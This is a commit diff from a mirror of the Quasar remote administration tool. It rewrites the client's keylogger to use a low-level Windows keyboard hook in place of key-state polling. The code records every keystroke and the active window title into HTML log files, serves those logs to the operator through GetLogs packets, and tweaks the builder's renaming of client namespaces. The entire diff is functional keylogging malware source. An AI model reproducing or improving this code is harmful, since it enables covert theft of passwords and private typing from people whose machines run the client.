mirror of https://github.com/quasar/Quasar.git
commit
c577ba41e1
|
@ -4,6 +4,7 @@ using System.Text;
|
||||||
using System.Reflection;
|
using System.Reflection;
|
||||||
using xClient.Core.Keylogger;
|
using xClient.Core.Keylogger;
|
||||||
using System.Runtime.CompilerServices;
|
using System.Runtime.CompilerServices;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
namespace xClient.Core.Keylogger
|
namespace xClient.Core.Keylogger
|
||||||
{
|
{
|
||||||
|
@ -92,7 +93,7 @@ namespace xClient.Core.Keylogger
|
||||||
/// <returns>True if key is pressed; False if the key is not.</returns>
|
/// <returns>True if key is pressed; False if the key is not.</returns>
|
||||||
public static bool IsKeyPressed(this short sender)
|
public static bool IsKeyPressed(this short sender)
|
||||||
{
|
{
|
||||||
return (sender & 0x8000) == 0x8000;
|
return (sender & 0x8000) != 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
|
@ -102,7 +103,7 @@ namespace xClient.Core.Keylogger
|
||||||
/// <returns>True if toggled on; False if toggled off.</returns>
|
/// <returns>True if toggled on; False if toggled off.</returns>
|
||||||
public static bool IsKeyToggled(this short sender)
|
public static bool IsKeyToggled(this short sender)
|
||||||
{
|
{
|
||||||
return (sender & 0xffff) == 0xffff;
|
return (sender & 0x0001) != 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static string BuildString(this KeyloggerModifierKeys sender)
|
public static string BuildString(this KeyloggerModifierKeys sender)
|
||||||
|
@ -118,14 +119,28 @@ namespace xClient.Core.Keylogger
|
||||||
string CtrlName = KeyloggerKeys.VK_CONTROL.GetKeyloggerKeyName();
|
string CtrlName = KeyloggerKeys.VK_CONTROL.GetKeyloggerKeyName();
|
||||||
|
|
||||||
if (!string.IsNullOrEmpty(CtrlName))
|
if (!string.IsNullOrEmpty(CtrlName))
|
||||||
BuiltModifierKeys.Append(CtrlName + " +");
|
BuiltModifierKeys.Append(CtrlName + " + ");
|
||||||
}
|
}
|
||||||
if (sender.AltKeyPressed)
|
if (sender.AltKeyPressed)
|
||||||
{
|
{
|
||||||
string AltName = KeyloggerKeys.VK_MENU.GetKeyloggerKeyName();
|
string AltName = KeyloggerKeys.VK_MENU.GetKeyloggerKeyName();
|
||||||
|
|
||||||
if (!string.IsNullOrEmpty(AltName))
|
if (!string.IsNullOrEmpty(AltName))
|
||||||
BuiltModifierKeys.Append(" " + AltName + " +");
|
BuiltModifierKeys.Append(AltName + " + ");
|
||||||
|
}
|
||||||
|
if (sender.ShiftKeyPressed)
|
||||||
|
{
|
||||||
|
string ShiftName = KeyloggerKeys.VK_SHIFT.GetKeyloggerKeyName();
|
||||||
|
|
||||||
|
if (!string.IsNullOrEmpty(ShiftName))
|
||||||
|
BuiltModifierKeys.Append(ShiftName + " + ");
|
||||||
|
}
|
||||||
|
if (sender.WindowsKeyPressed)
|
||||||
|
{
|
||||||
|
string WinName = KeyloggerKeys.VK_LWIN.GetKeyloggerKeyName();
|
||||||
|
|
||||||
|
if (!string.IsNullOrEmpty(WinName))
|
||||||
|
BuiltModifierKeys.Append(WinName + " + ");
|
||||||
}
|
}
|
||||||
|
|
||||||
return BuiltModifierKeys.ToString();
|
return BuiltModifierKeys.ToString();
|
||||||
|
|
|
@ -20,10 +20,10 @@ namespace xClient.Core.Keylogger
|
||||||
public bool ShiftKeyPressed { get; set; }
|
public bool ShiftKeyPressed { get; set; }
|
||||||
public bool AltKeyPressed { get; set; }
|
public bool AltKeyPressed { get; set; }
|
||||||
public bool CtrlKeyPressed { get; set; }
|
public bool CtrlKeyPressed { get; set; }
|
||||||
|
|
||||||
public bool CapsLock { get; set; }
|
public bool CapsLock { get; set; }
|
||||||
public bool NumLock { get; set; }
|
public bool NumLock { get; set; }
|
||||||
public bool ScrollLock { get; set; }
|
public bool ScrollLock { get; set; }
|
||||||
|
public bool WindowsKeyPressed { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
|
@ -36,10 +36,12 @@ namespace xClient.Core.Keylogger
|
||||||
/// Gets the key that was pressed.
|
/// Gets the key that was pressed.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
public KeyloggerKeys PressedKey { get; set; }
|
public KeyloggerKeys PressedKey { get; set; }
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// An object with the purpose of storing the states of modifier keys.
|
/// An object with the purpose of storing the states of modifier keys.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
public KeyloggerModifierKeys ModifierKeys { get; private set; }
|
public KeyloggerModifierKeys ModifierKeys { get; private set; }
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Determines if one of the modifier keys (excluding shift and caps
|
/// Determines if one of the modifier keys (excluding shift and caps
|
||||||
/// lock) has been set.
|
/// lock) has been set.
|
||||||
|
@ -61,14 +63,16 @@ namespace xClient.Core.Keylogger
|
||||||
// Modifier keys that have a state (toggle 'on' or 'off').
|
// Modifier keys that have a state (toggle 'on' or 'off').
|
||||||
CapsLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_CAPITAL).IsKeyToggled(),
|
CapsLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_CAPITAL).IsKeyToggled(),
|
||||||
NumLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_NUMLOCK).IsKeyToggled(),
|
NumLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_NUMLOCK).IsKeyToggled(),
|
||||||
ScrollLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_SCROLL).IsKeyToggled()
|
ScrollLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_SCROLL).IsKeyToggled(),
|
||||||
|
WindowsKeyPressed =
|
||||||
|
Win32.GetAsyncKeyState(KeyloggerKeys.VK_LWIN).IsKeyToggled() ||
|
||||||
|
Win32.GetAsyncKeyState(KeyloggerKeys.VK_RWIN).IsKeyToggled()
|
||||||
};
|
};
|
||||||
|
|
||||||
// To avoid having to repeatedly check if one of the modifier
|
// To avoid having to repeatedly check if one of the modifier
|
||||||
// keys (besides shift and caps lock) was set, just simply
|
// keys (besides shift and caps lock) was set, just simply
|
||||||
// decide and then store it right here.
|
// decide and then store it right here.
|
||||||
ModifierKeysSet = (ModifierKeys.CtrlKeyPressed || ModifierKeys.AltKeyPressed ||
|
ModifierKeysSet = (ModifierKeys.CtrlKeyPressed || ModifierKeys.AltKeyPressed || ModifierKeys.WindowsKeyPressed);
|
||||||
ModifierKeys.NumLock || ModifierKeys.ScrollLock);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -178,7 +182,7 @@ namespace xClient.Core.Keylogger
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// SPACEBAR key.
|
/// SPACEBAR key.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
[KeyloggerKey("SPACE", true)]
|
[KeyloggerKey(" ")]
|
||||||
VK_SPACE = 0x20,
|
VK_SPACE = 0x20,
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
|
@ -793,37 +797,37 @@ namespace xClient.Core.Keylogger
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Left SHIFT key.
|
/// Left SHIFT key.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
[KeyloggerKey("LSHIFT", true)]
|
[KeyloggerKey("SHIFT", true)]
|
||||||
VK_LSHIFT = 0xA0,
|
VK_LSHIFT = 0xA0,
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Right SHIFT key.
|
/// Right SHIFT key.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
[KeyloggerKey("RSHIFT", true)]
|
[KeyloggerKey("SHIFT", true)]
|
||||||
VK_RSHIFT = 0xA1,
|
VK_RSHIFT = 0xA1,
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Left CONTROL (CTRL) key.
|
/// Left CONTROL (CTRL) key.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
[KeyloggerKey("LCTRL", true)]
|
[KeyloggerKey("CTRL", true)]
|
||||||
VK_LCONTROL = 0xA2,
|
VK_LCONTROL = 0xA2,
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Right CONTROL (CTRL) key.
|
/// Right CONTROL (CTRL) key.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
[KeyloggerKey("RCTRL", true)]
|
[KeyloggerKey("CTRL", true)]
|
||||||
VK_RCONTROL = 0xA3,
|
VK_RCONTROL = 0xA3,
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Left MENU key.
|
/// Left MENU key.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
[KeyloggerKey("LALT", true)]
|
[KeyloggerKey("ALT", true)]
|
||||||
VK_LMENU = 0xA4,
|
VK_LMENU = 0xA4,
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Right MENU key.
|
/// Right MENU key.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
[KeyloggerKey("RALT", true)]
|
[KeyloggerKey("ALT", true)]
|
||||||
VK_RMENU = 0xA5,
|
VK_RMENU = 0xA5,
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
|
|
|
@ -1,11 +1,10 @@
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Runtime.InteropServices;
|
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using System.Threading;
|
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using xClient.Core.Keylogger;
|
using System.Diagnostics;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
namespace xClient.Core.Keylogger
|
namespace xClient.Core.Keylogger
|
||||||
{
|
{
|
||||||
|
@ -13,13 +12,11 @@ namespace xClient.Core.Keylogger
|
||||||
{
|
{
|
||||||
public static Logger Instance;
|
public static Logger Instance;
|
||||||
|
|
||||||
|
private bool IsEnabled = false;
|
||||||
public bool Enabled
|
public bool Enabled
|
||||||
{
|
{
|
||||||
get { return _timerLogKeys.Enabled && _timerFlush.Enabled && _timerEmptyKeyBuffer.Enabled; }
|
get { return this.IsEnabled; }
|
||||||
set
|
set { SetHook(value); }
|
||||||
{
|
|
||||||
_timerLogKeys.Enabled = _timerFlush.Enabled = _timerEmptyKeyBuffer.Enabled = value;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private StringBuilder _logFileBuffer;
|
private StringBuilder _logFileBuffer;
|
||||||
|
@ -29,17 +26,33 @@ namespace xClient.Core.Keylogger
|
||||||
private readonly string _filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
|
private readonly string _filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
|
||||||
"\\Logs\\";
|
"\\Logs\\";
|
||||||
|
|
||||||
private readonly KeyloggerKeys[] _allKeys;
|
private LoggedKey keyToLog;
|
||||||
private readonly KeyloggerKeys[] _specialKeys;
|
private readonly List<LoggedKey> _keysDown = new List<LoggedKey>();
|
||||||
private volatile List<LoggedKey> _keyBuffer;
|
|
||||||
private readonly System.Timers.Timer _timerLogKeys;
|
|
||||||
private readonly System.Timers.Timer _timerEmptyKeyBuffer;
|
|
||||||
private readonly System.Timers.Timer _timerFlush;
|
private readonly System.Timers.Timer _timerFlush;
|
||||||
|
|
||||||
|
public struct KeyData
|
||||||
|
{
|
||||||
|
public int vkCode;
|
||||||
|
public int scanCode;
|
||||||
|
public int flags;
|
||||||
|
public int time;
|
||||||
|
public int dwExtraInfo;
|
||||||
|
}
|
||||||
|
|
||||||
|
private const int WM_KEYDOWN = 0x100;
|
||||||
|
private const int WM_KEYUP = 0x101;
|
||||||
|
private const int WM_SYSKEYDOWN = 0x104;
|
||||||
|
private const int WM_SYSKEYUP = 0x105;
|
||||||
|
private const int WH_KEYBOARD_LL = 13;
|
||||||
|
|
||||||
|
public delegate int HookProcDelegate(int nCode, int wParam, ref KeyData lParam);
|
||||||
|
private HookProcDelegate _hook;
|
||||||
|
|
||||||
|
private IntPtr _hookHandle = IntPtr.Zero;
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Creates the logging class that provides keylogging functionality.
|
/// Creates the logging class that provides keylogging functionality.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="flushInterval">The interval, in milliseconds, to flush the contents of the keylogger to the file.</param>
|
|
||||||
public Logger(double flushInterval)
|
public Logger(double flushInterval)
|
||||||
{
|
{
|
||||||
Instance = this;
|
Instance = this;
|
||||||
|
@ -47,84 +60,12 @@ namespace xClient.Core.Keylogger
|
||||||
|
|
||||||
WriteFile();
|
WriteFile();
|
||||||
|
|
||||||
_allKeys = GetKeyloggerKeys();
|
|
||||||
_specialKeys = GetSpecialKeys();
|
|
||||||
|
|
||||||
_keyBuffer = new List<LoggedKey>();
|
|
||||||
|
|
||||||
this._timerLogKeys = new System.Timers.Timer { Enabled = false, Interval = 10 };
|
|
||||||
this._timerLogKeys.Elapsed += this.timerLogKeys_Elapsed;
|
|
||||||
|
|
||||||
this._timerEmptyKeyBuffer = new System.Timers.Timer { Enabled = false, Interval = 500 };
|
|
||||||
this._timerEmptyKeyBuffer.Elapsed += this.timerEmptyKeyBuffer_Elapsed;
|
|
||||||
|
|
||||||
this._timerFlush = new System.Timers.Timer { Enabled = false, Interval = flushInterval };
|
this._timerFlush = new System.Timers.Timer { Enabled = false, Interval = flushInterval };
|
||||||
this._timerFlush.Elapsed += this.timerFlush_Elapsed;
|
this._timerFlush.Elapsed += this.timerFlush_Elapsed;
|
||||||
|
|
||||||
this._logFileBuffer = new StringBuilder();
|
this._logFileBuffer = new StringBuilder();
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
|
||||||
/// Retrieves an array of all keylogger keys that are special.
|
|
||||||
/// </summary>
|
|
||||||
/// <returns></returns>
|
|
||||||
private KeyloggerKeys[] GetSpecialKeys()
|
|
||||||
{
|
|
||||||
List<KeyloggerKeys> SpecialKeys = new List<KeyloggerKeys>();
|
|
||||||
|
|
||||||
try
|
|
||||||
{
|
|
||||||
foreach (KeyloggerKeys key in _allKeys)
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
if (key.IsSpecialKey())
|
|
||||||
{
|
|
||||||
SpecialKeys.Add(key);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{ }
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{ }
|
|
||||||
|
|
||||||
return SpecialKeys.ToArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
/// <summary>
|
|
||||||
/// Retrieves an array of all keylogger keys that are supported.
|
|
||||||
/// </summary>
|
|
||||||
/// <returns></returns>
|
|
||||||
private KeyloggerKeys[] GetKeyloggerKeys()
|
|
||||||
{
|
|
||||||
List<KeyloggerKeys> NormalKeys = new List<KeyloggerKeys>();
|
|
||||||
|
|
||||||
try
|
|
||||||
{
|
|
||||||
foreach (KeyloggerKeys key in Enum.GetValues(typeof(KeyloggerKeys)))
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
// Must be supported (have a string representation of the key).
|
|
||||||
if (!string.IsNullOrEmpty(key.GetKeyloggerKeyName()))
|
|
||||||
{
|
|
||||||
NormalKeys.Add(key);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{ }
|
|
||||||
}
|
|
||||||
|
|
||||||
return NormalKeys.ToArray();
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{
|
|
||||||
return new KeyloggerKeys[0];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private string HighlightSpecialKey(string name)
|
private string HighlightSpecialKey(string name)
|
||||||
{
|
{
|
||||||
if (!string.IsNullOrEmpty(name))
|
if (!string.IsNullOrEmpty(name))
|
||||||
|
@ -137,108 +78,110 @@ namespace xClient.Core.Keylogger
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void timerEmptyKeyBuffer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
|
private int HookProc(int nCode, int wParam, ref KeyData lParam)
|
||||||
{
|
{
|
||||||
int j = 0;
|
if (nCode >= 0)
|
||||||
|
|
||||||
foreach (var k in _keyBuffer)
|
|
||||||
{
|
{
|
||||||
try
|
switch (wParam)
|
||||||
{
|
{
|
||||||
// Make sure that the key that was logged is not null.
|
case WM_KEYDOWN:
|
||||||
// If it is, we can safely ignore it by just making it
|
case WM_SYSKEYDOWN:
|
||||||
// stop here.
|
//TODO - handle modifier keys in a better way
|
||||||
if (k != null)
|
//
|
||||||
{
|
// If a user presses only the control key and then decides to press a, so the combination would be ctrl + a, it will log [CTRL][CTRL + a]
|
||||||
// If any modifier key was set besides shift and caps
|
// perhaps some sort of filter?
|
||||||
// lock, we will handle it differently than we would
|
keyToLog = new LoggedKey();
|
||||||
// normal keys.
|
keyToLog.PressedKey = (KeyloggerKeys)lParam.vkCode;
|
||||||
if (k.ModifierKeysSet)
|
|
||||||
{
|
|
||||||
// If the pressed key is special, it should be treated as such
|
|
||||||
// by using its provided name.
|
|
||||||
if (k.PressedKey.IsSpecialKey())
|
|
||||||
{
|
|
||||||
// The returned string could be empty. If it is, ignore it
|
|
||||||
// because we don't know how to handle that special key.
|
|
||||||
// The key would be considered unsupported.
|
|
||||||
string pressedKey = k.PressedKey.GetKeyloggerKeyName();
|
|
||||||
|
|
||||||
if (!string.IsNullOrEmpty(pressedKey))
|
if (!_keysDown.Contains(keyToLog))
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
_hWndTitle = GetActiveWindowTitle(); //Get active thread window title
|
||||||
|
if (!string.IsNullOrEmpty(_hWndTitle))
|
||||||
{
|
{
|
||||||
_logFileBuffer.Append(HighlightSpecialKey(pressedKey));
|
// Only write the title to the log file if the names are different.
|
||||||
|
if (_hWndTitle != _hWndLastTitle)
|
||||||
|
{
|
||||||
|
_hWndLastTitle = _hWndTitle;
|
||||||
|
_logFileBuffer.Append("<br><br>[<b>" + _hWndTitle + "</b>]<br>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (keyToLog.ModifierKeysSet)
|
||||||
|
{
|
||||||
|
if (keyToLog.PressedKey.IsSpecialKey())
|
||||||
|
{
|
||||||
|
// The returned string could be empty. If it is, ignore it
|
||||||
|
// because we don't know how to handle that special key.
|
||||||
|
// The key would be considered unsupported.
|
||||||
|
string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName();
|
||||||
|
|
||||||
|
if (!string.IsNullOrEmpty(pressedKey))
|
||||||
|
{
|
||||||
|
_logFileBuffer.Append(HighlightSpecialKey(pressedKey));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// The pressed key is not special, but we have encountered
|
||||||
|
// a situation of multiple key presses, so just build them.
|
||||||
|
_logFileBuffer.Append(HighlightSpecialKey(keyToLog.ModifierKeys.BuildString() +
|
||||||
|
FromKeys(keyToLog)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if (keyToLog.PressedKey.IsSpecialKey())
|
||||||
|
{
|
||||||
|
string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName();
|
||||||
|
|
||||||
|
if (!string.IsNullOrEmpty(pressedKey))
|
||||||
|
{
|
||||||
|
_logFileBuffer.Append(HighlightSpecialKey(pressedKey));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
_logFileBuffer.Append(FromKeys(keyToLog));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
catch
|
||||||
{
|
{
|
||||||
// The pressed key is not special, but we have encountered
|
|
||||||
// a situation of multiple key presses, so just build them.
|
|
||||||
_logFileBuffer.Append(HighlightSpecialKey(k.ModifierKeys.BuildString() +
|
|
||||||
FromKeys(k, false)));
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
// We don't have to worry about nearly all modifier keys...
|
|
||||||
// With the exception of the shift key and caps lock! :)
|
|
||||||
// At this point we know that shift or caps lock was the
|
|
||||||
// only pressed key.
|
|
||||||
else
|
|
||||||
{
|
|
||||||
// There is not really a need to handle if caps lock or
|
|
||||||
// shift has been handled because the way we obtain the
|
|
||||||
// value of the pressed key (that is not special) will
|
|
||||||
// use the key states and determine for us.
|
|
||||||
_logFileBuffer.Append(FromKeys(k));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{ }
|
|
||||||
|
|
||||||
j++;
|
_keysDown.Add(keyToLog); //avoid multiple keypress holding down a key
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case WM_KEYUP:
|
||||||
|
case WM_SYSKEYUP:
|
||||||
|
_keysDown.RemoveAll(k => k == keyToLog); //remove 'keydown' key after up message
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (j > 0 && j <= _keyBuffer.Count)
|
return Win32.CallNextHookEx(_hookHandle, nCode, wParam, ref lParam);
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
_keyBuffer.RemoveRange(0, j);
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{ }
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
|
private void SetHook(bool enable)
|
||||||
{
|
{
|
||||||
// Loop through each value in the array of keys to record.
|
switch (enable)
|
||||||
foreach (byte i in _allKeys)
|
|
||||||
{
|
{
|
||||||
// GetAsycKeyState returns the result by setting the most significant
|
case true:
|
||||||
// bit if the key is up, and sets the least significant bit if the
|
_hook = new HookProcDelegate(HookProc);
|
||||||
// key was pressed.
|
_hookHandle = Win32.SetWindowsHookEx(WH_KEYBOARD_LL, _hook, Win32.GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName), 0);
|
||||||
if (Win32.GetAsyncKeyState(i) == -32767)
|
//hook installed, enabled
|
||||||
{
|
_timerFlush.Enabled = true;
|
||||||
try
|
IsEnabled = true;
|
||||||
{
|
Application.Run(); //start message pump for our hook on this thread
|
||||||
LoggedKey KeyToLog = new LoggedKey() { PressedKey = (KeyloggerKeys)i };
|
break;
|
||||||
KeyToLog.RecordModifierKeys();
|
case false:
|
||||||
|
_timerFlush.Enabled = false;
|
||||||
_keyBuffer.Add(KeyToLog);
|
if (_hookHandle != IntPtr.Zero)
|
||||||
_hWndTitle = GetActiveWindowTitle(); //Get active thread window title
|
Win32.UnhookWindowsHookEx(_hookHandle);
|
||||||
|
Application.ExitThread(); //Bug: Thread doesn't exit, message pump still running, disconnecting client will hang in memory
|
||||||
if (!string.IsNullOrEmpty(_hWndTitle))
|
break;
|
||||||
{
|
|
||||||
// Only write the title to the log file if the names are different.
|
|
||||||
if (_hWndTitle != _hWndLastTitle)
|
|
||||||
{
|
|
||||||
_hWndLastTitle = _hWndTitle;
|
|
||||||
_logFileBuffer.Append("<br><br>[<b>" + _hWndTitle + "</b>]<br>");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{ }
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -312,20 +255,23 @@ namespace xClient.Core.Keylogger
|
||||||
return Win32.GetKeyboardLayout(Win32.GetWindowThreadProcessId(Win32.GetForegroundWindow(), out pid));
|
return Win32.GetKeyboardLayout(Win32.GetWindowThreadProcessId(Win32.GetForegroundWindow(), out pid));
|
||||||
}
|
}
|
||||||
|
|
||||||
private char? FromKeys(LoggedKey key, bool AllowCapitalization = true)
|
private char? FromKeys(LoggedKey key)
|
||||||
{
|
{
|
||||||
//keyStates is a byte array that specifies the current state of the keyboard and keys
|
//keyStates is a byte array that specifies the current state of the keyboard and keys
|
||||||
//The keys we are interested in are modifier keys such as shift and caps lock
|
//The keys we are interested in are modifier keys such as shift and caps lock
|
||||||
byte[] keyStates = new byte[256];
|
byte[] keyStates = new byte[256];
|
||||||
|
|
||||||
keyStates[(int)KeyloggerKeys.VK_SHIFT] = (key.ModifierKeys.ShiftKeyPressed && AllowCapitalization) ? (byte)128 : (byte)0;
|
if (key.ModifierKeys.ShiftKeyPressed)
|
||||||
keyStates[(int)KeyloggerKeys.VK_CAPITAL] = (key.ModifierKeys.CapsLock && AllowCapitalization) ? (byte)128 : (byte)0;
|
keyStates[(int)KeyloggerKeys.VK_SHIFT] = 0x80;
|
||||||
|
|
||||||
keyStates[(int)KeyloggerKeys.VK_MENU] = key.ModifierKeys.CtrlKeyPressed ? (byte)128 : (byte)0;
|
if (key.ModifierKeys.CapsLock)
|
||||||
keyStates[(int)KeyloggerKeys.VK_CONTROL] = key.ModifierKeys.AltKeyPressed ? (byte)128 : (byte)0;
|
keyStates[(int)KeyloggerKeys.VK_CAPITAL] = 0x01;
|
||||||
|
|
||||||
keyStates[(int)KeyloggerKeys.VK_NUMLOCK] = key.ModifierKeys.NumLock ? (byte)128 : (byte)0;
|
if (key.ModifierKeys.NumLock)
|
||||||
keyStates[(int)KeyloggerKeys.VK_SCROLL] = key.ModifierKeys.ScrollLock ? (byte)128 : (byte)0;
|
keyStates[(int)KeyloggerKeys.VK_NUMLOCK] = 0x01;
|
||||||
|
|
||||||
|
if (key.ModifierKeys.ScrollLock)
|
||||||
|
keyStates[(int)KeyloggerKeys.VK_SCROLL] = 0x01;
|
||||||
|
|
||||||
var sb = new StringBuilder(10);
|
var sb = new StringBuilder(10);
|
||||||
|
|
||||||
|
|
|
@ -1,10 +1,6 @@
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
|
||||||
using System.IO;
|
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using System.Threading;
|
|
||||||
using System.Windows.Forms;
|
|
||||||
|
|
||||||
namespace xClient.Core.Keylogger
|
namespace xClient.Core.Keylogger
|
||||||
{
|
{
|
||||||
|
@ -49,5 +45,20 @@ namespace xClient.Core.Keylogger
|
||||||
|
|
||||||
[DllImport("user32.dll", ExactSpelling = true)]
|
[DllImport("user32.dll", ExactSpelling = true)]
|
||||||
internal static extern IntPtr GetKeyboardLayout(uint threadId);
|
internal static extern IntPtr GetKeyboardLayout(uint threadId);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll")]
|
||||||
|
internal static extern IntPtr LoadLibrary(string lpFileName);
|
||||||
|
|
||||||
|
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
||||||
|
internal static extern IntPtr SetWindowsHookEx(int hookID, Logger.HookProcDelegate callback, IntPtr hInstance, int threadID);
|
||||||
|
|
||||||
|
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
||||||
|
internal static extern bool UnhookWindowsHookEx(IntPtr hookHandle);
|
||||||
|
|
||||||
|
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
|
||||||
|
internal static extern int CallNextHookEx(IntPtr hookHandle, int nCode, int wParam, ref Logger.KeyData lParam);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||||
|
internal static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||||
}
|
}
|
||||||
}
|
}
|
|
@ -98,7 +98,7 @@ namespace xClient
|
||||||
typeof (Core.Packets.ClientPackets.MonitorsResponse),
|
typeof (Core.Packets.ClientPackets.MonitorsResponse),
|
||||||
typeof (Core.Packets.ClientPackets.ShellCommandResponse),
|
typeof (Core.Packets.ClientPackets.ShellCommandResponse),
|
||||||
typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
|
typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
|
||||||
typeof (Core.Packets.ClientPackets.GetLogsResponse)
|
typeof (Core.Packets.ClientPackets.GetLogsResponse),
|
||||||
});
|
});
|
||||||
|
|
||||||
ConnectClient.ClientState += ClientState;
|
ConnectClient.ClientState += ClientState;
|
||||||
|
@ -330,7 +330,7 @@ namespace xClient
|
||||||
}
|
}
|
||||||
else if (type == typeof(Core.Packets.ServerPackets.GetLogs))
|
else if (type == typeof(Core.Packets.ServerPackets.GetLogs))
|
||||||
{
|
{
|
||||||
CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs) packet, client);
|
CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs)packet, client);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -58,9 +58,14 @@ namespace xServer.Core.Build
|
||||||
|
|
||||||
private void RenameInType(TypeDefinition typeDef)
|
private void RenameInType(TypeDefinition typeDef)
|
||||||
{
|
{
|
||||||
if (typeDef.Namespace.StartsWith("My") || typeDef.Namespace.StartsWith("xClient.Core.Packets") ||
|
if (typeDef.Namespace.StartsWith("My")
|
||||||
typeDef.Namespace == "xClient.Core" || typeDef.Namespace == "xClient.Core.Elevation" ||
|
|| typeDef.Namespace.StartsWith("xClient.Core.Packets")
|
||||||
typeDef.Namespace == "xClient.Core.Compression" || typeDef.Namespace.StartsWith("ProtoBuf"))
|
|| typeDef.Namespace == "xClient.Core"
|
||||||
|
|| typeDef.Namespace == "xClient.Core.Elevation"
|
||||||
|
|| typeDef.Namespace == "xClient.Core.Compression"
|
||||||
|
|| typeDef.Namespace.StartsWith("ProtoBuf")
|
||||||
|
